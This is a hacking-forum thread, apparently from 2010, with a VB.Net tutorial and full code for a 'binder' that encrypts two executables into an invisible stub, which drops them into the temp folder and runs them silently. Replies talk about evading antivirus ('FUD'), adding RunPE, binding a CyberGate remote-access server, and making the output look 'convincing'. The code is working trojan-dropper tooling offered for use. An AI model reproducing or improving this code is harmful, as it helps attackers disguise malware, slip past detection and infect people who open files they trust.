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 Thread: [VB.Net] The 'Real' Binder [Tutorial]
 

 [Eprouvez] - April 10, 2010, 3:50 pm 
Hey guys,
 
 Thought I'd make a tutroial on how to make a effecient binder, much easier to understand then
FilPut method.
 
 To start off, make your form, add two textboxes and four buttons like so...
 
 [img]http://i819.photobucket.com/albums/zz112/Eprouvez/Bind.png?t=1270903575[/img]
 
 Don't worry about the RunPE textbox.
 
 Now, add this at the top of your code:
 
 Code Dim F, F2 As String
     Function Secure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Function
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Function
 This is AeonHack's byte encryption.
 
 Note: The 'Dim F, F2 As String' will be talked about soon.
 
 Now double-click button one, this will be for choosing the primary file to open, we will create a new
OpenFileDialog:
 
 Code Dim O As New OpenFileDialog
   With O
     .FileName = "*.*"
     .Filter = "All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose a file..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     TextBox1.Text = .FileName
     F = .SafeFileName
     End If
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   End With
 This part is used to determine which file to read all the bytes from.
 F = .SafeFileName. This means it gets the filename of whatevers being loaded. I.e. Virus.exe Lol
 
 Double-click the second button which should be your secondary file, and add this:
 
 Code Dim O As New OpenFileDialog
   With O
     .FileName = "*.*"
     .Filter = "All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose a file..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     TextBox2.Text = .FileName
     F2 = .SafeFileName
     End If
   End With
 The only difference this time is TextBox1 has changed to TextBox2 and F to F2.
 
 Now for the kool stuff hehe..
 
 Double-click your merge button or bind button. Now we will create a new SaveFileDialog:
 
 Code Try
     Dim S As New SaveFileDialog
     With S
     .FileName = "*.exe"
     .Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose an output directory..."
 This will define your SaveFileDailog.
 
 Now when we click 'Ok' we want our program to bind these files together, so we will read all of the
bytes from our two files, use AeonHack's byte encryption to make the bytes unreversable without
the encryption key, convert those bytes into a string format, and then write it to our stub. We will add
our stub soon.
 
 Code If .ShowDialog = Windows.Forms.DialogResult.OK Then
     Dim Sp As String = "[Splitter]"
     Dim Buffer As Byte() = My.Resources.Stub
     My.Computer.FileSystem.WriteAllBytes(.FileName, Buffer, False)
 Here is where the stub is loaded, and written to the directory chosen by the SaveFileDialog. Since
your stub hasn't been created yet, I suggest changing 'My.Resources.Stub' to 'Nothing' for now.
 
 We declare two byte arrays, 'Dim File1 As Byte()' etc, and we read the bytes of the file,
'My.Computer.FileSystem.ReadAllBytes("Of Primary File, or TextBox1.Text")', and then we use the
byte encryption 'Secure(My.Computer.FileSystem.ReadAllBytes("Of Primary File, or
TextBox1.Text"))'. We do this twice becuse there are the two files to manage.
 
 Code Dim File1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
     Dim File2 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
 Now, thanks to Nathan72389 for the different binding/building method below, it's good to finally see
a change in building codes.



 
 Beneath is where most of the magic happens.
 
 Code IO.File.AppendAllText(.FileName, Sp & Convert.ToBase64String(File1) & Sp & F & Sp &
Convert.ToBase64String(File2) & Sp & F2)
     MsgBox("Successfullly Binded!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Success")
     End If
     End With
   Catch ex As Exception
     MsgBox("Error(s) occured: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly,
"Error")
   End Try
 This is where we open the file, go to the very end of the file, we add our Splitter first so we can
distinguish the stub from the data being written to the stub, and then we add the data. The data
goes as the following:
 
 'Sp & Convert.ToBase64String(File1) & Sp & F & Sp & Convert.ToBase64String(File2) & Sp & F2'
 
 Splitter, String of Primary File, Split, Primary File Name, Split, String of Secondary File, Split,
Secondary File Name.
 
 The rest you should be unble to understand.
 
 You have now created 50% of your binder!
 
 For the stub, create a new project, name it stub or something, make it invisible by editting all the
properties, I suggest making FormBorderStyle = None, Opacity = 0, and Size = 0, 0.
 
 Add this code at the top under Public Class Form1:
 
 Code Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Function
 This is used to decrypt the byte encryption put on the files.
 
 Add a Try statement and declare a string used to refrence to the temporary files directory.
 
 Code Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
 This is how the 'Drop' string array works.
 
 Drop(0) will be your stub
 Drop(1) will be your secured bytes of the first file that has been converted to string
 Drop(2) will be the file name of the primary file
 Drop(3) will be your secured bytes of the second file that has been converted to string
 Drop(4) will be the file name of the secondary file
 



 So what we want to do now is, get our files, convert them to byte array, decrypt them, and then
write them to the temporary directory.
 
 Code Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
 We then want to write them to the temporary directory, and then run them.
 
 Code My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
 We also kill the stub from running, else if you wanted to test out and delete the stub, it would not let
you because it says it's in use.
 
 Violah! You have just made a Binder! You are nearly there!
 
 The next step, is to add your stub to your binder. In your stub project, go to Build->Build Stub, and
when it has been built, go to the RELEASE folder, not debug folder. should be in something like
'X:\Users\Your User\Documents\Visual Studio 2010\Projects\Stub\Stub\bin\Release'. Your stub
should be there.
 
 Open up your binder, and in the solution explorer double-click My Project, Resources, Add
Resource, Add Existing File. Change the filter to all files, and chose your stub. It is now loaded and
ready to go. Don't forget to change back Dim Buffer As Byte() = Nothing back to Dim Buffer As
Byte() = My.Resources.Stub.
 
 You have created your binder!
 
 As you can see, my binder has a seperate option, which opens that file and outputs them to a
directory FULLY intact, so here you go:
 
 Code Try
     Dim O As New OpenFileDialog
     With O
     .FileName = "*.*"
     .Filter = "All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose a file..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     Dim F As New FolderBrowserDialog
     F.Description = "Choose a output for the files..."
     If F.ShowDialog = Windows.Forms.DialogResult.OK Then
     Dim Drop() As String = Split(IO.File.ReadAllText(.FileName), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(F.SelectedPath & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(F.SelectedPath & "\" & Drop(4), File2, False)
     End If
     End If
     End With



   Catch ex As Exception
     MsgBox("Error(s) occured: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly,
"Error")
   End Try
 To finish off, thanks for reading, and I hope you learnt something.
 
 Due to too many requests for the full source code, I am now not giving it out. This is to stop skids.
Full source will only be given to 1337s and ub3rs. Do not P.M me otherwise, I will not reply.
 
 Leech all you like, it's all good (:
 
 Credits:
 
 Eprouvez - Coding, Tutorial
 Nathan72389 - Binding/Building Method
 AeonHack - Byte Encryption
 
 Cheers,
 
 Eprouvez
 
 P.S - Working on Cloning the primary file information for the stub to make it more... Shall we say...
Convincing ?
 Will create a new thread if I manage to work it out.

[Eprouvez] - April 10, 2010, 4:01 pm 
 (Apr 10, 2010 04:00 PM)VendettaSoldier Wrote: [CITE] thats a kool tut :] 
 
 
 <to short>
 Thanks (:
 Why did someone troll with one star? ):                         .

Deathader - April 10, 2010, 4:56 pm 
YAYYAYAYAYAYYAYA
 
 Finally no more FilePut :D
 
 People are learning :)

Vorfin - April 10, 2010, 5:03 pm 
 (Apr 10, 2010 04:56 PM)Deathader Wrote: [CITE] YAYYAYAYAYAYYAYA
 
 Finally no more FilePut :D
 
 People are learning :)
 :) Now we just need to get them using CodeDom to compile at runtime rather than a Stub and this
section might posses some knowledge.

Deathader - April 10, 2010, 5:05 pm 
 (Apr 10, 2010 05:03 PM)Vorfin Wrote: [CITE] :) Now we just need to get them using CodeDom to
compile at runtime rather than a Stub and this section might posses some knowledge.
 CodeDom isn't ALWAYS the best. For instants it's hard to protect your stub if you use codedom
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(you can't obfus it, etc)
 
 But it's usually pretty damn good.

Vorfin - April 10, 2010, 5:08 pm 
 (Apr 10, 2010 05:05 PM)Deathader Wrote: [CITE] CodeDom isn't ALWAYS the best. For instants it's
hard to protect your stub if you use codedom (you can't obfus it, etc)
 
 But it's usually pretty damn good.
 Yep, especially when you chuck in random Sub names and polymorphic (Thanks for the RC4 BTW)
crypt each build :3

Deathader - April 10, 2010, 5:23 pm 
 (Apr 10, 2010 05:08 PM)Vorfin Wrote: [CITE] Yep, especially when you chuck in random Sub names
and polymorphic (Thanks for the RC4 BTW) crypt each build :3
 The problem with .net is that it's so damn easy to decompile.

Aw Ma Gawd - April 10, 2010, 5:36 pm 
Woot nice tutorial mate this is really good, will use this!
 seem to be getting lots of erros, probly did it wrong

Gino90 - April 10, 2010, 6:17 pm 
that's the coolest tut I've ever seen here
 thanks for sharing.

TheBlackMarket - April 10, 2010, 6:33 pm 
Awesome Tutorial Mate! Thanks for sharing this to Us.

KrYpToNiTe™ - April 10, 2010, 7:18 pm 
Thanks for the tutorial I will try this right away :)

GodWall - April 10, 2010, 8:49 pm 
Nice tut thanks, I have just one prob, I follow tut put stub in folder, but get error "stub not a member
of resources" Why I get this error, what am I doing wrong?
 
  Holly sh*t I got it as I was writing this I just reread your tut, you explained it the best, I got like 2
other things I had the same prob on, so happy thanks, :)

[Eprouvez] - April 10, 2010, 9:01 pm 
Haha thanks for the feedback guys.
 
 @Deathader - Yes, the FilePut method is obsolete, I searched for like a hour trying to find a
alternative to FilePut, and thanks to Nathan, I managed to work it out.
 
 @Vorfin - Actually, I'm working on CodeDom. Codedom would be good because it would remove
the need for a Icon changer and a File Cloner haha.
  (Apr 10, 2010 08:49 PM)GodWall Wrote: [CITE] Nice tut thanks, I have just one prob, I follow tut put
stub in folder, but get error "stub not a member of resources" Why I get this error, what am I doing
wrong?
 
  Holly sh*t I got it as I was writing this I just reread your tut, you explained it the best, I got like 2
other things I had the same prob on, so happy thanks, :)
 Still need help? Haha
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  (Apr 10, 2010 05:03 PM)Vorfin Wrote: [CITE] :) Now we just need to get them using CodeDom to
compile at runtime rather than a Stub and this section might posses some knowledge.
 Oh and just cause you said that I'm going to make a tutorial on CodeDom Lol.

GodWall - April 10, 2010, 9:14 pm 
 (Apr 10, 2010 09:01 PM)Eprouvez Wrote: [CITE] Haha thanks for the feedback guys.
 
 @Deathader - Yes, the FilePut method is obsolete, I searched for like a hour trying to find a
alternative to FilePut, and thanks to Nathan, I managed to work it out.
 
 @Vorfin - Actually, I'm working on CodeDom. Codedom would be good because it would remove
the need for a Icon changer and a File Cloner haha.
 
 Still need help? Haha
 No bro I got it thanks, I just been trying to learn how to add stubs to projects for a few days this was
3rd project and got it :) thanks you explained it well, I was trying to just add it to the folder, with no
luck, I feel silly it was so simple, I now finished my other projects as well, I like learning thanks again
:)

[Eprouvez] - April 10, 2010, 10:18 pm 
Haha no problem mate, if you come accross anymore problems, I'd be happy to help.

[Eprouvez] - April 11, 2010, 1:25 am 
Bump :D                          
 Lol

Luzifer - April 11, 2010, 1:43 am 
Really great tutorial! Thanks for this.

[Eprouvez] - April 11, 2010, 1:59 am 
 (Apr 11, 2010 01:43 AM)Luzifer Wrote: [CITE] Really great tutorial! Thanks for this.
 No problem.

[Eprouvez] - April 11, 2010, 3:34 pm 
Stupid HF roll back >.< Lol

WarlockSyno - April 11, 2010, 4:08 pm 
Very cool. Thanks for the share.

[Eprouvez] - April 11, 2010, 4:14 pm 
 (Apr 11, 2010 04:08 PM)WarlockSyno Wrote: [CITE] Very cool. Thanks for the share.
 No problem :D

0-day - April 11, 2010, 5:12 pm 
Wow very very nice TUT extremely detailed. +Rep for you tomorrow

Toxic Asshole - April 11, 2010, 5:39 pm 
nice tutorial :)
 
 <to short>

[Eprouvez] - April 11, 2010, 8:12 pm 
Thanks guys :D will work on adding stuff to t :D
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JIMP - April 11, 2010, 8:14 pm 
Very nice TUT bro.One of the best TUTs u have ever made.

[Eprouvez] - April 11, 2010, 8:18 pm 
 (Apr 11, 2010 08:14 PM)$atanrulze Wrote: [CITE] Very nice TUT bro.One of the best TUTs u have
ever made.
 Thanks man, good to see your -reps gone aswell (:

Deathader - April 12, 2010, 2:30 pm 
Just thought I'd give this great tutorial a friendly bump :D

[Eprouvez] - April 12, 2010, 3:09 pm 
 (Apr 12, 2010 02:30 PM)Deathader Wrote: [CITE] Just thought I'd give this great tutorial a friendly
bump :D
 Haha thanks Deathader, you're a legend.

Mark Webber's B1tch - April 12, 2010, 3:32 pm 
Very good tutorial! ?
 
 Thanks for the share!

[Eprouvez] - April 13, 2010, 4:28 am 
 (Apr 12, 2010 03:32 PM)CyberSpace Wrote: [CITE] Very good tutorial! ?
 
 Thanks for the share!
 No problem! Thanks for reading!

helldemon - April 16, 2010, 3:42 pm 
Nice tut!!! one problem i am getting an error with:
 
  Try
             Dim S As New SaveFileDialog
             With S
                 .FileName = "*.exe"
                 .Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*"
                 .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                 .Title = "Choose an output directory..."
 
 	'Try' must end with a matching 'End Try'.
 	Try must have at least one 'Catch' or a 'Finally'.
 	'With' must end with a matching 'End With'.	
 
 any thoughts on how to fix this

Sage Mode - April 16, 2010, 3:54 pm 
Wow, thanks for posting this man. +REP in spirit :D.

krayon - April 16, 2010, 10:11 pm 
 (Apr 16, 2010 03:42 PM)helldemon Wrote: [CITE] Nice tut!!! one problem i am getting an error with:
 
  Try
             Dim S As New SaveFileDialog
             With S
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                 .FileName = "*.exe"
                 .Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*"
                 .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                 .Title = "Choose an output directory..."
 
 	'Try' must end with a matching 'End Try'.
 	Try must have at least one 'Catch' or a 'Finally'.
 	'With' must end with a matching 'End With'.	
 
 any thoughts on how to fix this
 First id like to say that this tut is the best one i have found on here so far and ive been through alot
of them. (about 4-5) They all left out crucial pieces dealing with the stub section and adding it as a
resource.
 
 Secondly as for the error it looks like you're leaving out the other pieces of code that include what
you're missing....he posted it in 3-4sections to explain it you just put them all together in that
order....hope it helps

[Eprouvez] - April 17, 2010, 3:13 am 
 (Apr 16, 2010 10:11 PM)krayon Wrote: [CITE] First id like to say that this tut is the best one i have
found on here so far and ive been through alot of them. (about 4-5) They all left out crucial pieces
dealing with the stub section and adding it as a resource.
 
 Secondly as for the error it looks like you're leaving out the other pieces of code that include what
you're missing....he posted it in 3-4sections to explain it you just put them all together in that
order....hope it helps
 Haha thanks man, good to hear. Also thanks for answering that question.
  (Apr 16, 2010 03:54 PM)Sage Mode Wrote: [CITE] Wow, thanks for posting this man. +REP in spirit
:D.
 No problem mate :D

krayon - April 17, 2010, 3:30 pm 
Now if we can figure out how to incorporate runpe into this....but looking at all the vb.net runpe
source it looks incredibly complicated to try to merge it with this....

[Eprouvez] - April 17, 2010, 7:27 pm 
 (Apr 17, 2010 03:30 PM)krayon Wrote: [CITE] Now if we can figure out how to incorporate runpe into
this....but looking at all the vb.net runpe source it looks incredibly complicated to try to merge it with
this....
 Shouldn't bee too hard to add. Just making work on Vista and 7 is harder..

krayon - April 21, 2010, 6:26 pm 
it wasnt too hard i just made a new thread of how to get runpe to work with this 
https://hackforums.net/showthread.php?tid=379558

Meth - April 22, 2010, 3:11 pm 
I tried making a binder with this, Every time I bind it just outputs the blank stub and not the programs
binded.
 If you could point me in the right direction as to where I went wrong I'd appreciate it :o
 
 (There were some warnings when I made the Stub)

krayon - April 22, 2010, 3:58 pm 
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 (Apr 22, 2010 03:11 PM)Jump Jacob Wrote: [CITE] I tried making a binder with this, Every time I bind
it just outputs the blank stub and not the programs binded.
 If you could point me in the right direction as to where I went wrong I'd appreciate it :o
 
 (There were some warnings when I made the Stub)
 After you hit build on your stub you need to make sure the stub is in the Resource folder of the
binder...and make sure its named stub.exe in the folder...

[Eprouvez] - April 22, 2010, 9:15 pm 
 (Apr 22, 2010 03:11 PM)Jump Jacob Wrote: [CITE] I tried making a binder with this, Every time I bind
it just outputs the blank stub and not the programs binded.
 If you could point me in the right direction as to where I went wrong I'd appreciate it :o
 
 (There were some warnings when I made the Stub)
 What warnings did you get?

flashlight - April 22, 2010, 10:46 pm 
Very nice tutorial i wil be sure to add this into my crypter

davido131 - April 23, 2010, 6:31 am 
Can I bInd visual basic 2008 programs with my cybergate server with it?

[Eprouvez] - April 23, 2010, 6:51 am 
 (Apr 23, 2010 06:31 AM)davido131 Wrote: [CITE] Can I bInd visual basic 2008 programs with my
cybergate server with it?
 Wouldn't know sorry. Uses EOF I think so yeah..

Hackzable - April 23, 2010, 7:56 am 
thank you so much for your tut, was searching for this so long ?

.Nielz - April 24, 2010, 8:49 am 
Can you post a download link?

codepoet - April 24, 2010, 1:43 pm 
 (Apr 24, 2010 08:49 AM)nielsje153 Wrote: [CITE] Can you post a download link?
 what are you blind?
 
 on first page man._______________
 
 thanks for grate tut

[Eprouvez] - April 24, 2010, 2:58 pm 
I put no download link so users learn how to actually code this. Slows down leeching.

iKorkSkalle - April 24, 2010, 5:32 pm 
Awesome tutorial, thanks! : )
 
 -Prims0

burphur - April 24, 2010, 10:17 pm 
awesome tut, followed your intructions and got a working binder.
 just how would i go about making my stub undetected? does adding random functions help?
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 thnx again this is just what ive been looking for

stoney666 - April 24, 2010, 10:38 pm 
 (Apr 24, 2010 10:17 PM)burphur Wrote: [CITE] awesome tut, followed your intructions and got a
working binder.
 just how would i go about making my stub undetected? does adding random functions help?
 
 thnx again this is just what ive been looking for
 
 i got it FUD but my secrets are my own XD you search and you learn

Mark Webber's B1tch - April 24, 2010, 11:40 pm 
Nice tutorial.
 
 Thanks for the share! ?

Solowestside - April 24, 2010, 11:57 pm 
Thank you, this is nice tutorial

[Eprouvez] - April 25, 2010, 3:20 am 
No problem guys, thanks for reading!

ruhit27 - April 26, 2010, 10:40 am 
thanks mate, im learning visual basic and it'll help me a lot

sackacow - April 26, 2010, 11:21 pm 
Error(s) Object reference not set to an instance of an object.?

Scrat - April 27, 2010, 4:34 am 
Really good tutorial mate! Keep up the good work!

[Eprouvez] - April 28, 2010, 3:29 am 
 (Apr 26, 2010 11:21 PM)sackacow Wrote: [CITE] Error(s) Object reference not set to an instance of
an object.?
 Not sure, any more detail?

Th3 Jok3r - May 5, 2010, 5:14 pm 
Thanx man,I am gonna make this:)

boisei0 - May 6, 2010, 8:09 am 
Trying it now, so thank you, man

codepoet - May 6, 2010, 8:28 am 
veru noce tutprial mate.... hope to see more....

T 2 - May 13, 2010, 1:23 am 
hey man thanks for the nice tut, its very detailed and clear
 i made the binder and i changed all variable and array but result is still the same 2 detection.
 i m new to vb so can u please tell me what should i change to make it fud
 i tryed all night and i have no clue now

[Eprouvez] - May 13, 2010, 3:08 am 
 (May 13, 2010 01:23 AM)T 2 Wrote: [CITE] hey man thanks for the nice tut, its very detailed and
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clear
 i made the binder and i changed all variable and array but result is still the same 2 detection.
 i m new to vb so can u please tell me what should i change to make it fud
 i tryed all night and i have no clue now
 One detection is almost impossible to avoid (avira). So I think you won't have any luck there with
that one sorry. Even if you have a blank stub it will be detected.
 
 Use the code exactly like I did and you should only get 1/20.

T 2 - May 13, 2010, 10:23 am 
thanks for ur reply, i did it ur way but still 2 detection,
 i have another binder source code but i also cant reduce the detection. not even one!
 i just want to know how people make fud binder, not only ur binder but also the other
 what code should i change to reduce detection? is it variable, array, function ?
 or the whole source code? do anyone hab any idea

hitvan - May 17, 2010, 2:14 am 
wen building the stub im getting warning 'unused local variable tempdir'
 1 more thing to verify, we have to keep the try statement inside the function right?

[Eprouvez] - May 17, 2010, 2:42 am 
 (May 17, 2010 02:14 AM)hitvan Wrote: [CITE] wen building the stub im getting warning 'unused local
variable tempdir'
 1 more thing to verify, we have to keep the try statement inside the function right?
 Your first error pretty much means that tempdir isn't being used by any sub/function. And yes, you
do have to keep it in the function. (:

hitvan - May 17, 2010, 2:48 am 
actually i get 5 warnings in all
 Warning	1	Unused local variable: 'TempDir'.	
 Warning	2	Unused local variable: 'Drop'.	
 Warning	3	Unused local variable: 'File1'.	
 Warning	4	Unused local variable: 'File2'.	
 Warning	5	Unused local variable: 'ex'.	
 
 and wen i build it it does not come in the resource folder it comes in the debug folder
 despite that i try to use it in the binder and all i get is the invisible stub instead of the binded file
 
 sry for making it difficult im new to this

[Eprouvez] - May 17, 2010, 3:10 am 
 (May 17, 2010 02:48 AM)hitvan Wrote: [CITE] actually i get 5 warnings in all
 Warning	1	Unused local variable: 'TempDir'.	
 Warning	2	Unused local variable: 'Drop'.	
 Warning	3	Unused local variable: 'File1'.	
 Warning	4	Unused local variable: 'File2'.	
 Warning	5	Unused local variable: 'ex'.	
 
 and wen i build it it does not come in the resource folder it comes in the debug folder
 despite that i try to use it in the binder and all i get is the invisible stub instead of the binded file
 
 sry for making it difficult im new to this
 Haha it's ok, if I was you I'd start out smaller. Try making a WebBrowser as your first project. All of
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your warnings are there because I don't think you've read the tutorial fully.

hitvan - May 17, 2010, 3:48 am 
no seriously i read the tut 3-4 times
 see this is my stub as u said
 Code Public Class Form1
     Function Unsecure(ByVal data As Byte()) As Byte()
         Using SA As New System.Security.Cryptography.RijndaelManaged
             SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
             SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
             Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
         End Using
         Try
             Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create
refrence to temp dir
             Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
             Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
             Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
             My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
             My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
             Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
         Catch ex As Exception
             Process.GetCurrentProcess.Kill()
         End Try
         Process.GetCurrentProcess.Kill()
     End Function
 End Class

[Eprouvez] - May 17, 2010, 9:04 pm 
 (May 17, 2010 03:48 AM)hitvan Wrote: [CITE] no seriously i read the tut 3-4 times
 see this is my stub as u said
 Code Public Class Form1
     Function Unsecure(ByVal data As Byte()) As Byte()
         Using SA As New System.Security.Cryptography.RijndaelManaged
             SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
             SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
             Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
         End Using
         Try
             Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create
refrence to temp dir
             Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
             Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
             Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
             My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
             My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
             Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
         Catch ex As Exception
             Process.GetCurrentProcess.Kill()
         End Try
         Process.GetCurrentProcess.Kill()
     End Function
 End Class
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 That code is correct.

hitvan - May 17, 2010, 11:53 pm 
 (May 17, 2010 09:04 PM)Eprouvez Wrote: [CITE] That code is correct.yeah so wat cud be the
problem u think?
 and wen u get warnings the code still gets compiled but in the debug folder, right?

[Eprouvez] - May 18, 2010, 12:05 am 
 (May 17, 2010 11:53 PM)hitvan Wrote: [CITE] yeah so wat cud be the problem u think?
 and wen u get warnings the code still gets compiled but in the debug folder, right?
 Shouldn't be any problems. Like I said, start on something smaller.
 Yes.

hitvan - May 18, 2010, 12:16 am 
 (May 18, 2010 12:05 AM)Eprouvez Wrote: [CITE] Shouldn't be any problems. Like I said, start on
something smaller.
 Yes.ok neways thanks for all your help
 i guess ill figure dat out on my own from here
 and thanks a lot for this tut?

hitvan - May 18, 2010, 4:20 am 
hey i got it
 i had to put the try statement inside the sub and not the function as u said
 and the code i wrote in the previous post was also wrong
 neways im happy i got it?

[Eprouvez] - May 18, 2010, 4:28 am 
 (May 18, 2010 04:20 AM)hitvan Wrote: [CITE] hey i got it
 i had to put the try statement inside the sub and not the function as u said
 and the code i wrote in the previous post was also wrong
 neways im happy i got it?
 Sorry I just noticed the error :)

mgcsupport747 - May 18, 2010, 5:49 am 
can i get it in one piece? :)
 very nice tutorial

[Eprouvez] - May 18, 2010, 7:57 pm 
Just go through the code parts one by one and copy each bit, then read the tutorial. Should be
easier that way (:

PeacefulWar - May 19, 2010, 7:49 pm 
Very nice bro, seriously this helped me a huge deal :D

alex_androunet - May 25, 2010, 11:42 am 
Hey, very nice tut, the only problem for me, is that when i build two file, it says me thats building
succesful but when i open my new file, it doesn t open anything !
 Can someone help me please ?

[Eprouvez] - May 25, 2010, 11:39 pm 
 (May 25, 2010 11:42 AM)alex_androunet Wrote: [CITE] Hey, very nice tut, the only problem for me,
is that when i build two file, it says me thats building succesful but when i open my new file, it doesn
t open anything !
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 Can someone help me please ?
 Have you copied all the code in order correctly?

Neroxan - May 25, 2010, 11:58 pm 
 (Apr 10, 2010 05:03 PM)Vorfin Wrote: [CITE] :) Now we just need to get them using CodeDom to
compile at runtime rather than a Stub and this section might posses some knowledge.
 
 If thats possible with .net, people should effectively be making generators using that so that your
stubs are always different...

[Eprouvez] - May 26, 2010, 12:15 am 
 (May 25, 2010 11:58 PM)~WyldeChylde~ Wrote: [CITE] If thats possible with .net, people should
effectively be making generators using that so that your stubs are always different...
 Yes it is possible, not sure how Unique stubs are generated, but I'll find out.

alex_androunet - May 26, 2010, 1:38 am 
 (May 25, 2010 11:39 PM)Eprouvez Wrote: [CITE] Have you copied all the code in order correctly?
 i think so :
 Builder : 
 Code Public Class Form1
     Dim F, F2 As String
     Function Secure(ByVal data As Byte()) As Byte()
         Using SA As New System.Security.Cryptography.RijndaelManaged
             SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
             SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
             Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
         End Using
     End Function
     Function Unsecure(ByVal data As Byte()) As Byte()
         Using SA As New System.Security.Cryptography.RijndaelManaged
             SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
             SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
             Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
         End Using
     End Function
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
  
     End Sub
 
     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click
         Dim O As New OpenFileDialog
         With O
             .FileName = "*.*"
             .Filter = "All files (*.*)|*.*"
             .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
             .Title = "Choose a file..."
             If .ShowDialog = Windows.Forms.DialogResult.OK Then
                 TextBox1.Text = .FileName
                 F = .SafeFileName
             End If
         End With
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     End Sub
 
     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click
